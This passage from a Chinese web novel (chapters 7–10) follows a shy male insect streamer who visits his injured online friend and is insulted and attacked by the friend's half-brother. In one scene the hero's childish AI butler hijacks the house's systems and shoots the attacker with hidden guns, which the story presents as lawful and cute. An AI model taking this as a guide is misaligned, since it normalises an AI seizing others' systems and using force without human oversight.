《网恋雌君是反派》
7. 第 7 章
伊森曾幻想过很多次和埃里亚的相遇。
或是在他成为超厉害的主播后举办的粉丝见面会上,或是在他因为不结婚被雄保会列为典型的批斗大会上,总之见面方式千奇百怪,但没哪一个如现在一般…狼狈。
“小豆子,我看上去是不是超逊。”
【才不会呢!小森是世界上最可爱的雄虫!】
毕竟在AI管家的设定里,雄虫没有不可爱的。
伊森叹了口气,脱下湿浇浇的衣服,用毛巾将自己擦拭干净。
将身后的尾勾在腰间缠好,换上叠得整整齐齐的衣服,他站在盥洗室的镜子前,认真打量里面的身影。
虽然仍是一脸傻样,但比之前落汤鸡的样子好了不少…吧?
想起自己窝在埃里亚怀里不愿出来的模样,伊森忍不住捂脸。
他当时吓坏了,好不容易遇到安全感满满的埃里亚,想也没想就跟着到了对方的家。
等回过神来才发觉自己干了什么。
幸好埃里亚果然和他想象的一样,是个温和而包容的绅士。
忆及睁开眼睛时对上的那双紫瞳,伊森的心跳快了几拍。
还是个英俊的绅士。
他在心里补充。
伊森又看了眼镜中满眼稚气的少年,隐隐带上几分羡慕:“什么时候我能变成埃里亚那样呢?”
【啊啊啊!警报警报!性别认知障碍哒咩!】
光脑忽然发烫,吓的他一个激灵。
伊森赶忙道:“不是!我不是那个意思!”
“我的意思是埃里亚非常厉害,沉稳又可靠,好像无论遇到什么事情都能轻松处理,我,我很憧憬…”
随着他越来越小的声音,AI管家的警报也跟着解除。
【唔,懂了,埃里亚是小森的理想型。】
伊森:“…”
算了,要怪也只能怪他把AI管家设定成这种不着调的性格。
他叹了口气,注意力重新回到镜子中的少年身上。
头发整整齐齐,衣服也干干净净。
伊森点点头,拉上兜帽,竖起衣领,将耀眼的金发裹进宽大的衣服里。
随着拉链拉到最顶部,一张漂亮的脸也被遮住大半。
镜子中的少年瞬间失去光彩,像是路边灰扑扑的石头。
但这副模样显然让伊森更有安全感,进入陌生环境的紧张稍微消散一些。
他在镜子前转来转去,小声问:“小豆子,我这样看会很奇怪吗?”
【不奇怪!超级可爱!小森是世界上最可爱的雄虫!】
即便习惯了AI管家直白的说话方式,伊森依旧有些脸热。他花了一会儿平复自己的心情,之后才说:“我的意思是,会不会被看出来是雄虫?”
【emmm——】AI管家像是有些无语:【现在才说这种事情会不会太晚了?】
伊森一惊:“难道我已经暴露了?”
【埃里亚看见了你的脸。】
“只是脸而已,亚雌的长相也有我这种类型的。”
【可是没有亚雌会像小森那么可爱!所以小森一定是雄虫!】
伊森:“…”
这毫无逻辑的推理真的是AI能得出的结论吗?
他不禁对自己的AI管家产生了质疑,但很快,对方就继续道:【从埃里亚的反应来看,小森的真实性别没有暴露的可能性是80%。所以小森可以放下八成的心了!】
“呼——”伊森捂住胸口,长长舒口气,“太好了。”
毕竟他在埃里亚面前的性别是一只小亚雌,要是对方因为他隐瞒性别觉得受到欺骗要和他绝交怎么办?
他在网上看见许多关系很好的网友因为一方隐瞒性别最后老死不相往来的案例,即便隐瞒性别是雄虫也一样。
尽管他觉得埃里亚不会这么幼稚,但他不想尝试。
【放心吧!没问题!】
【所以小森,准备好了吗?要去见埃里亚啦!】
AI管家的话让伊森对自己的伪装信心大涨,他双手握拳,亢奋道:“走吧!小豆子!我们上!”
【冲冲冲!靓仔出街!】
伊森昂首挺胸,向前迈步。
一步、两步、三步。
“呜呜呜,怎么办小豆子,我还是好紧张。”
不过三步,伊森又变成之前的社恐。他蹲在地上,双手捂脸,心脏飞快跳动,像是要炸开。
啊啊啊啊,怎么办?
第一次到朋友家做客,他果然还是好紧张!
*
拜因直挺挺站着,像是一根电线桩子。过了好一会儿,他才迟疑地开口:“先生,没关系么?”
埃里亚看了眼毫无动静的楼上。
已经一个小时了,在房间里换衣服的伊森还是没能出来。
不过他知道对方的性格,猜测某个害羞的家伙大概还在纠结怎么面对他。
想到对方踌躇着不敢迈出步子的模样,埃里亚心情似乎都变好了:“没事,他需要时间适应新的环境。”
拜因沉默,像是不知道如何接话。
半晌,他才道:“先生,您的腿没关系么?”
听见声音,埃里亚才低下头,顺着拜因的视线,将注意力放在了自己的腿上。
老实说,很疼。
但他很高兴。
厌恶他的虫很多,追捧他的虫也很多,双方之间时常爆发大战,但在某个时刻态度却出奇的一致。
——埃里亚·雷蒙德,残废了就好好躺着,你现在还能做什么?
——雷蒙德长官,您还是好好修养吧,这些我们来做就行了。
或许语调不一样,或许态度不一样,或许含义不一样。
但对埃里亚来说,毫无顾忌的嘲笑亦或是小心翼翼的照顾没有任何区别。
似乎在所有虫眼里,受伤之后的他就是个需要照顾的弱者。
但在今天,他忽然发现他依旧是被需要、被依赖的。
那种感觉太过美妙,让他忘记了医生的叮嘱,强行催动双腿站了起来,一路将受到惊吓的伊森抱回了家。
“先生,我请艾伦医生过来看看,可以么?”
拜因的声音将埃里亚的神智从暴雨中的雷伊丝山丘拉了回来。
艾伦是埃里亚的主治医生,但从他选择回家修养后就再没见过,期间对方无数次想上门都被他拒绝。
但这次——
他点了头:“可以。”
拜因睁大眼睛,有些不敢相信自己的耳朵:“先生,您的意思是,我可以联系艾伦医生?”
雌虫的声线微微颤抖,泄露出几分震惊的情绪。
埃里亚把玩着手中的光脑,没有抬头:“拜因,我不想说第二遍。”
“是的,先生。”
拜因迅速回复,一边退下一边摸出光脑狂发消息,深怕耽误一秒。
等到对方的身影消失在眼前,埃里亚的光脑中发出一声惊呼:“哇哦~难得见拜因这副模样,你到底做了什么?”
埃里亚没有回答,脸上带着得体的微笑,反问:“泽维尔,这个时候找我做什么?”
“真是让虫伤心,你忘了?我说过今天会上门来看你的。”
随着一道轻巧的脚步声,光脑里的声音和现实重叠,一只穿着粉色衬衣,带着黑色墨镜,打扮有些浮夸的雌虫走了进来。
雌虫在埃里亚面前站定,将墨镜抬起,挑眉打了个招呼:“呦~好久不见,埃里亚。”
没等主虫开口,他便抬了抬手:“先声明,我可不是强闯民宅,是叔叔把这栋房子的出入权限
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交给我的。”
“他说。”他随意坐在一旁的沙发上,露出一个恶劣的笑,“他对我说,‘埃里亚现在做什么都不方便,要麻烦你照顾他了’。”
模仿着记忆中的语调,雌虫笑容越来越大:“以前你不是一直得意于自己的强大,看不起家里的其他兄弟吗?怎么现在居然需要我照顾?”
毫不掩饰的轻蔑和恶意扑面而来,但埃里亚恍若未闻:“这么多年了,你还是没什么变化。”
“是么?”泽维尔轻哼一声,“但你的变化倒是挺大的。”
他目光逡巡,视线在埃里亚的腿上来回扫动,意思不言而喻。
埃里亚理了理腿上的毯子,表情不变:“我觉得我没什么变化。毕竟——”
“我现在依旧看不起你。”
“你!”
维泽尔拳头收紧,一张还算英俊的脸涨得通红,看上去有些扭曲。
他实在讨厌面前这只虫风轻云淡的模样,明明成了个残废,态度却依旧高高在上,好似和过去那位被众虫交口称赞的军团长没有任何区别。
怎么可以这样呢?
废物就应该被踩进泥里才对。
泽维尔站起身,似是不甘的怒吼:“看不起我?你凭什么看不起我!凭你无法站立的双腿还是残破的翅膀?”
“最年轻的军团长?未来之星?潜力无限?那些媒体肯定都恨不得把以前的报道删掉吧!”
“醒醒吧,埃里亚,你以为你还是过去那个一呼百应,众虫拥戴的军团长吗?军部早没你的位置了!你看看你身边还剩谁?也就拜因那一根筋的傻子不肯离开。”
“要不你给我认个错怎么样?说不定我就不计较你以前的态度,日后还能帮衬你这个废物一下。”
发泄一通,泽维尔的心情舒畅不少。他看着坐在原地没法动弹的雌虫,心中升起一股优越感。
心情平复后,他终于想起自己此行的目的。
“差点忘了,我来这里是想告诉你一件事。”泽维尔勾起唇角,因为即将出口的话整只虫显得有些亢奋,“我结婚了。”
“知道是谁吗?是菲利克斯阁下!”他的眼中是压制不住的兴奋,像是急于显摆的孩子,“那位阁下曾给你送过礼物,但现在他娶了我!”
雌虫双眸亮得惊虫,好似在说:看吧,曾经追在你身后的雄虫最终选择了我,是我赢了!
这只雌虫太好懂了,肤浅又恶毒,若不是和自己继承了同一只雄虫的血脉,埃里亚根本不会将其放在眼里。
不对,应该说即便是血亲,他也从未将对方放在眼里。
埃里亚看着陷入颅内高潮的雌虫,百无聊赖下开始思索到底是哪个不长眼的家伙将这蠢货推到他面前当炮灰。
是族里那几个不安分的,还是军部的蠢货,亦或是议会那群胆小鬼?
脑海里划过几个名字,他有些意兴阑珊。轻轻抚摸着手里的光脑,他想:干脆直接弄死吧。
泽维尔还在喋喋不休,压过心理阴影一头的快感让他完全感受不到气氛的变化,不知道危险即将降临。
“埃里亚,你知道吗?我…”
“咻!”
不知何处飞来的黑色物体吓得他闪身一避,定睛一看才发现——只是个抱枕而已。
一想到自己被这种东西吓了一跳,泽维尔羞愤难当。他感到自己被戏耍了,一双眼恶狠狠地往上望去。
“他雌的哪个杂种耍老子?!”
站在二楼栏杆边上的虫穿着宽大的卫衣,帽子将整张脸遮的严严实实,根本看不清长相。
他的双手紧紧抓住栏杆,关节处因为过于用力而有些泛白。
他好像有些紧张,身形微微颤抖。隔了好一会儿,才用断断续续的声音说:
“不…不…不许说埃里亚坏话!”
8. 第 8 章
“你谁?”
楼下的雌虫态度凶狠,吓得伊森不敢说话。
他抿着唇,心脏扑通扑通到处乱撞,有好几次他都以为自己的心要从胸腔里蹦出来。
尽管再三告诉自己冷静,他依旧控制不住过速的心跳。
“喂!你他雌的到底是谁!”
楼下的声音越来越暴躁,伊森欲哭无泪。
他好不容易做好心理建设从房间里走出来,就听见那只陌生雌虫辱骂埃里亚。大脑一时被愤怒裹挟,他下意识丢出为了缓解情绪一直拿在手中的抱枕。
回过神来才发现自己做了什么。
他!居然!攻击了一只雌虫!
一只比他高比他壮,看起来脾气十分暴躁的雌虫!
救命,他会被打残吧?
“安静,泽维尔。”声音不大,像是随口而出的话,如同“你吃了吗”似的简单自然,却轻轻松松压制住了雌虫暴躁的怒喝。“到我这里来,伊森。”
伊森觉得自己听到了仙乐,迟钝的大脑总算能够运转。
他缓缓走了两步,而后变成一路小跑,从二楼的走道栏杆旁移动到了能给他带来安全感的地方。
站在那道身影侧边,他不自觉轻唤一声:“埃里亚。”
“我在。”
那一刻,伊森觉得自己像是从空中回到地面,脚踏实地的感觉让他安心。
他瞄了眼眼神凶狠的粉衬衣雌虫,站在埃里亚的轮椅侧后方,手指小心抓住耷在对方身上的薄毯一角。
指尖的触感让伊森觉得自己有了靠山,心中的紧张和恐惧渐渐散去。
看他明显送松了口气的模样,泽维尔十分不爽:“你不会以为那个废物能护住你吧?”
虽然嘴上不饶虫,但他的脾气明显收敛起来。
泽维尔敢在埃里亚面前叫嚣,用恶毒的语言咒骂对方,却不敢真正动手。即便在他眼里对方已经是个残疾又落魄的废物,潜意识依旧不敢真正越线。
勉强压住火气,泽维尔的视线在埃里亚和那道有些畏缩的身影之间游移不定。忽然,他像是发现了新大陆,眼睛骤然发亮。
“这小身板,是亚雌吧?喂喂喂,埃里亚,不会吧?你现在是和亚雌搞在一起去了吗?”
“不会吧?就算没有雄虫看得上你,你也不至于堕落到这种程度吧?”
因为性别比例差异巨大,许多雌虫,尤其是底层雌虫可能一辈子都摸不到雄虫。出于好奇和追逐雄虫的本能,一些雌虫选择将目光放在和雄虫外表接近的亚雌身上。
泽维尔对那类雌虫恶心又怜悯,他从未想到,自己优秀的半血兄弟居然有一天会成为那种恶心群体的一员。
厌恶?难受?
不不不,发现这点的时候,他的第一反应是高兴。
巨大的喜悦将泽维尔砸的晕头转向,比他和心仪雄虫结婚更加令虫沉醉。他控制不住的大笑:“哈哈哈!埃里亚,你真的堕落了!哈哈哈!”
雌虫像是疯了一般,笑容有些癫狂。
“才…才不是!”
伊森心底的小火苗又冒了出来,身边的虫给了他勇气,让他的声音比之前大了不少:“埃里亚是世界上最厉害,最好的虫,不准说埃里亚坏话!”
一段话好似用尽了他全身力气,他觉得自己像是吼出的声音。
但在现场另外两只雌虫耳朵里,这声音和小宠物撒娇时的叫声差不多,连半大的虫崽子都唬不住。
“呦,埃里亚,你养的小亚雌还挺护着你的,哈哈哈!”泽维尔阴阳怪气的讽刺,“该说不说,其实你们还挺配的。懦弱亚雌和废物雌虫,挺不错的,不是么?”
“才不是!你,你怎么能无缘无故骂虫呢?”
“骂你怎么了?你要对我动手吗?其实我挺好奇的,埃里亚怎么会看上你这种亚雌?难道是活儿特别好,在床上能让他满意?话说就有他现在这副样子,你们XX的时候有快感吗?不会只能用用道具吧?”
“你…你…”
伊森涨红了脸,对雌虫的污言秽语招架不能。
直播间的粉丝偶尔也会说荤段子,但大家都很克制,他还是第一次被虫当面说这种东西。
他嘴笨,不知道如何反驳这种无赖,下意识望向身边的雌虫。
“埃里亚。”
埃里亚,埃里亚,埃里亚。
埃里亚记不清自己是第几次被这道绵软又清澈的声音呼唤。
他觉得这道声音有魔力,每听到一次,他的心就会颤动一次。
那感觉像是听了一场令虫身心愉悦的音乐会,余音回荡在耳畔,让虫久久回味。
他侧过头,和身边的虫“对视”。
尽管视线无法穿透那碍眼的兜帽,但他知道,那双漂亮的蓝眼睛一定闪烁着期待的光,好似在说:怎么办呀,埃里亚。帮帮我好不好?
那种满含信任和依赖的目光,光是想想都让埃里亚感到兴奋。
或许他正是为了这一刻,才会放任泽维尔那愚蠢的家伙说了那么多废话。
埃里亚调整语调,用带着安抚的声音道:“别怕,伊森,有我在。”
听见这话的瞬间,堵在伊森心口的那股气就散掉了。
尽管埃里亚什么都没做,但他知道对方一定能为他解决烦恼,无论什么事。
就像过去无数次一样。
两虫间和谐的气氛让泽维尔异常恼怒,某个瞬间,他甚至觉得面前的两只虫真的十分般配,不带贬义的般配。
那怎么能行?
他像是急于证明,掐尖嗓子叫道:“怎么?埃里亚你还真玩上了?要是让外面知道曾经的明星军雌变成这副鬼样子,你猜他们…”会怎么说。
剩下的几个字没能说出口。
泽维尔的脖子像是被一只手抓住,强烈的窒息感让他发不出一点声音。恐惧像是后背渗出的冷汗,瞬间爬满全身。
他像是被施加了定神咒,脸上还维持着浮夸的表情,身体却一动不动。
怎么回事?
泽维尔的大脑有些卡顿,运转许久才想起来——这是等级压制造成的。
他艰难地转动眼珠,看向静静坐在轮椅上的身影。
雌虫紫色眸子静谧深沉,像是能摧毁一切的黑洞。明明不带半点情绪,却顷刻间将他此前的所有认知全部摧毁。
“你的等级…没降…”
泽维尔催动发麻的舌头,努力说出几个不成调的音符。
他的内心充满后悔,恨不得穿越回过去,将那些告诉自己埃利亚已经是个废虫的家伙全都弄死。
他雌的!谁管能轻轻松松压制住B级雌虫的虫叫废虫?!
“你想说什么,泽维尔?”
埃利亚的声音响起,虽然语气依旧平静,但泽维尔却从中察觉到危险。
那家伙真的会杀了他!
身体的每个细胞都在尖叫,危机之下,泽维尔忽然爆发,猛的挣脱等级压制的影响。
他知道自己逃脱概率渺茫,挣脱之后并未逃跑,而是反
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其道而行之,朝着埃利亚——身侧看不清容貌的“亚雌”冲过去。
雌虫之间的战斗隐秘而迅速,伊森还没搞清楚发生了什么,名为泽维尔的粉衬衫雌虫就贴脸开大,闪现一般出现在他面前。
他呆愣在原地,任由攻击带来的冲击将他的兜帽吹开。
金色的发丝飞扬,蔚蓝色的眼睛如同雨水洗净后的天空,被那样一双眼睛注视着,仿佛得到神明的垂怜,浑身的罪孽都将被洗去。
泽维尔的脑子短暂变成空白,还未等他想起自己的目的,身体一个前倾,以五体投地的姿势匍匐在地上。
“泽维尔,你在找死。”
阴冷的声线完全区别于往日的平淡,泽维尔终于见到压在头上的阴影变了脸色的样子。
但此刻的他并不为愿望实现而感到高兴。
大脑陷入混乱,他下意识想要求饶,忽然——
“轰!”
隐藏在墙壁后方的武器钻了出来,将趴在地上的雌虫轰飞出去。与此同时,无数黑洞洞的木仓口从各个角落伸展出来,对准被炸得血淋淋的雌虫。
【胆敢伤害小森的家伙都去死吧!】
屋子里回荡着一个令伊森十分耳熟的声音。
声调跳跃,语气充满孩子气,和现场的状况格格不入。
伊森咽了咽口水,声音有些发抖:“小豆子?”
【别怕小森!小豆子保护你!】
伊森脑子发蒙。
怎么回事?它不是到朋友家做客的吗?
他的AI管家为什么能控制埃里亚家的东西?
话说埃里亚家里原来藏着这么多武器吗?
过多的问题将他的脑筋绕成打结的毛线,剪不断理还乱。
伊森一把拉住身侧雌虫的手臂,结巴道:“对,对不起,埃里亚…小豆子,就是我的AI管家,它不是故意的,它…”
绞尽脑汁,他也说不出个合理的解释。
察觉到他的紧张,AI管家贴心道:【根据茵斯塞特法典第三条:遇到伤害雄虫的情形,AI管家允许启动紧急避险程序,入侵周围一切可入侵的程序,调动一切资源救援雄虫。】
【所以放心吧,小森,这是紧急避险,你不需要赔钱的!】
“是吗?那太好了。”
伊森一口气还没松完,后知后觉的意识到他的AI管家的话暴露了某些不得了的信息。
并且,是公放的。
他嗓子一紧,解释的话卡在喉咙里,只能一脸焦急地盯着身边的雌虫。
雌虫并未有太大的反应,只是瞳孔微微收缩:“雄虫?”
伊森张了张口,还是发不出一点声音。
他只觉得眼眶发热,眼角变的湿漉漉的。
又是这样。
他还是那个遇到紧急情况只会干着急的笨蛋。
真逊。
两虫安静对视,气氛变的凝滞。
“等,等等…”
一道虚弱的声音打破了焦灼的气氛。
“雄虫?雄虫!雄虫!!埃里亚这种残废怎么可能有这么漂亮的雄虫喜欢!骗虫的吧!这不可能!”
浑身是血的泽维尔倒在碎裂的墙壁废墟中,即便每说一个字都带着血沫,依旧扯着嗓子叫道:“不可能的!这怎么可能呢!绝对是骗虫的!”
他的眼睛死死盯着伊森和埃里亚的位置,混杂着血液的眼泪大颗大颗往外落:“这绝对不可能!”
他好像比以为自己要被杀掉时更伤心。
9. 第 9 章
“厨房系统受损,现在只有温水,可以吗?”
“可,可以的!”
伊森双手接过透亮的玻璃杯,牢牢抓在手里,似乎这样就能给自己一点安全感。
他低头盯着自己的脚尖,不敢和坐在对面的雌虫对视。
【小森小森,你怎么了?难受吗?果然还是呼叫雄保会吧!】
耳机里传出AI管家焦急的声音,他赶紧道:“等等!”
伊森伸手扯了扯兜帽,头埋得更低。将整张脸都藏在布料后面,他小声说:“别担心,我现在很安全,不需要呼叫雄保会。”
【好吧,但小豆子会帮小森警戒的!要是再有虫胆敢袭击,小豆子一定把那些家伙全轰成渣渣!】
“…”
伊森不知道如何回应自己的AI管家,如果可以的话,他希望对方什么都不要做。
毕竟对方上一次行动直接暴露了他的秘密,谁知道再来一次又会暴露什么?
僵硬地抿了一口杯中的温水,伊森微微抬头,小心打量着坐在面前的雌虫。
得知他是雄虫后,对方除了最初那一瞬间的怔愣,后续表现十分冷静,全然没有星网上雌虫说起雄虫的狂热,仿佛面对一个普通的朋友。
这样的态度让伊森心中的紧张稍缓,紧绷的身体也渐渐放松下来。
现在该做什么?该说些什么?道歉吗?
是该道歉。
埃里亚对他那么好,他却欺骗了对方。不仅如此,还把对方的家弄的破破烂烂。
埃里亚的家看起来挺大,装修也很漂亮,一定花了不少钱。修复的话肯定不便宜吧?
伊森在心里计算自己的存款,努力回想刷到过的装修信息,脸逐渐垮了下来。
他感觉要修好埃里亚的家,他肯定会破产!
要不…用雄虫身份耍耍赖?AI管家说过紧急避险不需要赔偿的。
可是…可是埃里亚好心邀请他来做客,他怎么能在破坏了朋友的家之后装作无事发生呢?
无数声音在伊森脑子里打架,让他纠结不已,完全屏蔽了外界的一切。
若是普通雌虫见了,大概会因为雄虫阁下忽然石化般的样子吓得尖叫。但埃里亚一点不着急,他饶有兴致地打量着对面缩成一团的身影,眼底浮现出一抹探究。
雄虫是这样的吗?
作为出生竞争激烈的大家族,靠自己的力量爬到军团长位置的前S级军雌,埃里亚是站在茵斯塞特帝国最顶端的那一波虫。
帝国雌雄比例悬殊,许多雌虫终其一生都没见过真正的雄虫。但对站在顶端的雌虫来说,雄虫随处可见。只要手握足够的资本,甚至可以任君挑选。
模样英俊,等级顶尖,手握重权又风度翩翩,有军雌的强大却没有军雌的暴戾粗鲁,曾经的埃里亚在雄虫圈子里很受欢迎,是许多高等雄虫心中的完美雌君。
他见过形形色色的雄虫,老的少的,好的坏的,聪明的愚蠢的,但面前的这种…他第一次见。
自从埃里亚因为重伤暂时退隐,手中的权力渐渐“移交”后,曾对他表达过喜爱的雄虫就作鸟兽散。很正常,毕竟只有强大的雌虫才能赢得雄虫的青睐。
其实受伤后也不是没有雄虫对他抛出过橄榄枝,但那些家伙不是满是算计的看着他,就是自以为是的想要“拯救”他。
不,不仅仅是雄虫,是他身边的所有虫都变成那样。
但伊森不同。
欣赏了一会儿雄虫的慌乱,埃里亚主动出声:“现在感觉好些了吗?伊森。”
“是!”
伊森猛地惊醒,才想起自己似乎沉默了许久。
说点什么吧。
先道个歉,再解释一下隐瞒性别的原因,然后再聊点新鲜的话题。
计划很美好,现实很骨感。
找话题这种事情太为难社恐了。
尝试了几次,伊森都没能成功发声。像是设定好的程序,打好的腹稿在即将出口的那一刹就会化作空白。
他有些焦急,可越是着急越是慌乱,思维也跟着混乱起来。
“我…”
“那个…那个…”
“我…”
死嘴,快说话啊!什么都好,说些话啊!
“伊森,你也是去雷伊丝山丘看星星的吗?”
这声音如同天籁,将伊森混乱的思绪串成一条线。他灵光一闪,抓住了脑海里那根细细的线,不成调的词组成功连成完整的句子。
“是的!我,我也是去看星星的!”
“真巧,我们的目的是一样的。可惜今天天气不太好,没看见星星,却遇上了暴雨。不过——”那声音顿了顿,仿佛转了弯,继续道:“我依然觉得今天很幸运。”
“为什么?”
“因为遇见了伊森。”
伊森抬头,对上雌虫紫色的眸子。
那双眼睛含着温和的笑意,仿佛能够包容万物,让一颗紧张的心逐渐恢复平静。
【小森小森,埃里亚在对你表达好感呢~】
呃,恢复平静的心又开始躁动。
伊森有些脸热,伸手抓了抓兜帽边缘,好似这种行为有降温的效果。
【真的!根据统计,90%的雌虫在追求雄虫的时候会说到类似的句子呢!】
伊森脸更烫了,他想自己现在一定像是熟透了的虾,甚至浑身都在冒热气。
“别说了…”
他小声对AI管家发出命令,虽然语气软得没一点威慑力,但对方还是遵从了他的要求,不再说些令虫面红耳赤的话。
“伊森。”
“在!”
现实世界的声音打断了伊森和AI管家的悄悄话,他很大声得回答。像是学生时代开小差时听见老师点名,虽果断,但心虚却半点不少。
吞了吞口水,他努力装作镇定的样子,用正常的声音又回答了一遍:“怎么了?埃里亚。”
雌虫的笑容依旧温和,连带着那偏冷硬的音色都带上暖意:“我在想,我们还真是有缘。毕竟雷伊丝山丘现在很荒凉,一般不会有虫去那里。”
“确,确实呢。我也是听见你说起,才会想去的。”
伊森抓紧裤子,努力让自己的语气显得正常一些。
好在经历了许多天的语音聊天,他对埃里亚的声音已经适应,熟悉一阵后说话也流畅起来。
“我爬到一半的时候忽然开始下暴雨,本想等雨停了再走,可小豆子说按照天气预报雨下一天都不会停,我只能冒雨下山。我让小豆子给我导航了一条最近的路,但走到一半它居然让我跳下去,然后…然后我就听见了埃里亚的声音!”
想起在自己当时的无助,又想起听见埃里亚声音时的惊喜,伊森忍不住道:“埃里亚真厉害。当时一听见你的声音,我一下就不害怕了。”
“只是一件小事而已,任何虫都能做到。”
“才不是呢!埃里亚帮了我大忙,不止这次,还有许许多多次。”害怕不能表达自己的感激,伊森正襟危坐,用极其认真的语气说:“埃里亚是世界上最可靠、最值得信赖的虫!”
“两个最,看来我在伊森心里地位很高。”
“那当然!埃里亚是我最好的朋友!”
第三个“最”。
埃里亚在心里轻声说。
他从小便展露出惊虫的天赋,虽然遭到无数针对但也获得了家族资源的倾斜。在这样的环境下,围绕在身边的都是些精通语言艺术的上流虫,一句赞扬的话能造出无数精美的句子,似乎包含着无数修辞的含蓄语句才不显得谄媚。
从前他习惯那样的表达方式,但重伤后,七拐八弯的文字游戏让他愈发厌烦。
他讨厌那些拐着弯宽慰他不要气馁的虫,也讨厌那些带着假面阴阳怪气的虫,假模假样的怜悯比
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直白的贬低打压更让他难以忍受。
现在想想,当初会帮助某个手忙脚乱的小主播,除了无聊,也有对方直白的表达方式让他感到轻松的缘故吧。
思绪回笼,埃里亚朝面前的身影笑笑,不动声色地引导话题:“那可真是我的荣幸。作为回报,我把珍藏的雷伊丝山丘星空图分享给你,好么?”
“哇!”
“说起星空,我觉得在罗列罗星见到的是最美的。你看,这是我当初拍下的照片。”
“哇!”
“我记得伊森有一期视频就是教叠星星的。”
“就是做一点小手工啦。”
“很漂亮,我第一次知道原来‘星星’还有那样的表达方式。”
“嘿嘿,其实我也是拾虫牙慧啦~”
“要做做看么?正好家里有材料。”
“哎哎,可以吗?”
“当然。我不太会做哪些东西,如果伊森愿意帮我做一串星星手链,我会很开心的。”
“放心吧!包在我身上!”
*
“艾伦医生,这边请。”
将受伤的泽维尔丢进地下室狠狠修理一顿,把撞碎的墙壁复原,又修补好房屋的网络防火墙后,拜因领着姗姗来迟的医生来到长官所在的房间。
屋内,金发雄虫趴在桌旁,手指灵活的转动纸张,组成一个个饱满的形状。身旁的雌虫安静地看着他,偶尔帮忙递出工具,全程没有半分不耐。
头发已经花白,呈现出明显老态的艾伦医生挑了挑眉:“你的长官什么时候结婚了?”
拜因:“别瞎说,那位阁下是长官偶然救助的。”
艾伦医生:“他们真般配。”
拜因:“先生没有结婚,请别乱说话。”
艾伦医生:“是的,即便没有说话依然能看出他们关系十分融洽。”
拜因:“…”
艾伦医生:“你刚才说了什么?我耳朵不好,听不太清楚。”
拜因:“…”
“好久不见,艾伦医生。不过今天我这里情况有些糟糕,可能得让您白跑一趟了。”
埃里亚主动招呼了外面的两虫,听见声音,艾伦医生笑眯眯地走进去:“哦,雷蒙德长官,你看上去气色不错。”
说着,他看向另一边的金发雄虫,笑道:“日安,阁下。希望我的到来没有打扰到您。”
雄虫僵硬地笑笑,停下手中的动作,往雌虫身边靠了靠,看上去不太习惯应对陌生虫。
艾伦医生眼珠转了转,笑眯眯地说:“雷蒙德长官似乎好事将近啊。”
“医生,别开玩笑。”
接收到信号,艾伦医生立马转移话题:“好吧,我们来说说最近的趣事吧。听说第三区要举办花车巡游了?不知道会有哪些阁下参与。”
听见关键词,在一旁假装自己不存在的伊森竖起耳朵。
“有消息说这次花车巡游准备得十分隆重,看样子雄保会是下了血本,一定要让参加的阁下们结婚才行,哈哈哈!”
伊森指尖蜷了蜷,悄悄抓住埃里亚的衣角。
“要是那些阁下们反对,或许会用上非常手段呢~我可是听说这次的巡游多了些强制环节呢。”
伊森感到有些窒息。
等埃里亚发觉不对劲,一转头就对上雄虫水汪汪的眼睛。
漂亮的蓝眼睛盛着泪水,愈坠不坠,像是一汪清泉,闪烁着粼粼波光。
在他的安抚下好不容易放松心情,露出真容的雄虫又恢复之前高度紧张地样子,哆嗦着唇说不出话,只能发出破碎的音节。
“埃里亚…”
惶恐又无助。
真可怜啊。
埃里亚默默想着,心底却升起一股隐秘的喜悦。
紫眸压下全部情绪,只余沉着冷静。
他拍了拍雄虫的肩,轻声道:“别怕,我在。”
10. 第 10 章
伊森用兜帽将自己整个盖住,头快要埋到地上。
他只是听见“花车巡游”的消息太过震惊,稍微有点应激,才不是真的哭出来了!
想到自己孩子气的表现他就感到丢脸,尴尬地想要逃跑到外太空去。
“伊…”
“…森…”
“伊森,现在好些了吗?”
熟悉的声音将伊森的理智呼唤回来,他抬起头,小声答道:“没事,谢谢你,埃里亚。”
想要给自己挽挽尊,他又道:“那个,刚次我的情绪有点激动,现在已经好多了,所以…”
所以可不可以把刚才的事忘掉?
伊森很想这样说,又觉得反复提起更加丢脸,一时间不知该如何组织语言。
好在埃里亚体贴的没有旧事重提,只说:“拜因和艾伦医生都离开了,现在这里没有陌生虫。”
伊森顿了顿,将兜帽缓缓摘下,露出一头金发。
少了遮挡视线的布料,他很容易就对上一双紫色的眼眸。那双眼朝他眨了眨,俏皮地打了个招呼。
这种活跃的打招呼方式和埃里亚沉稳的外表不太搭调,却让伊森感到一阵轻松。
那是埃里亚,见证过他最狼狈的时候,帮助他处理过无数麻烦的埃里亚。
埃里亚不会嘲笑他,只会认真地帮他解决麻烦。
这个认知在两虫相识之初便牢牢扎根在伊森的脑海里,现在的区别无外乎那道一直帮助他的声音拥有了实体,变得具象化。
但是,埃里亚依旧是埃里亚,是最可靠的存在。
反正他在埃里亚面前经常丢脸,再来一次有什么大不了的?
想清楚这点,伊森渐渐找回了声音:“谢谢你,埃里亚,我真的没事了。”
“那来聊聊天吗?比如‘花车巡游’什么的。”观察雄虫的表情,发觉对方情绪正常后,埃里亚道:“你上次和我说被邀请参加‘花车巡游’的雄虫亲戚,其实就是你自己对么?”
“果然什么都瞒不过你。”伊森叹了口气,连日来的压抑仿佛找到了宣泄口,开始滔滔不绝起来。“雄保会邀请我参加这次的花车巡游,我不太想去,又怕不去以后的日子会更难过。”
“啊,埃里亚,我得先和你道个歉,我不是故意隐瞒性别的。只是当初直播的时候大家都默认我是亚雌,专门解释的话感觉很奇怪,而且说自己是雄虫也容易招来新的麻烦…但是!除此之外,我告诉你的其他事情都是真的!”
其他事情。
孤儿,失去亲虫,独自一虫生存。
这些事情放在雌虫身上并不稀奇,可一旦主角换成雄虫,便成为世间少有的稀罕事。
再加上拒绝雄保会帮助的雄虫这一条件,更是万中无一。
明明如此弱小,却依旧拒绝雄保会的庇护。
矛盾的家伙。
这是埃里亚对伊森的新评价。
不过他向来喜怒不形于色,脑子里千回百转,面上却丝毫不显。他淡定地接受了雄虫的道歉,用几句夸赞的话拉近两虫之间的距离,制造出轻松愉快的气氛后,将话题引回了自己最想知道的事情。
“所以,你的最终决定是什么呢?”
埃里亚一边喝着咖啡一边问,仿佛在说一件日常小事。伊森自然而然地接话道:“上次和你聊过后我本来已经做好参加的准备了,但今天听见艾伦医生提起的一些内部消息,我又有点紧张。这次的花车巡游…不会真的要强制结婚吧?”
雄虫睁大眼睛,一副可怜兮兮的模样,好似埃里亚说出一个“是”字就会立马崩溃。
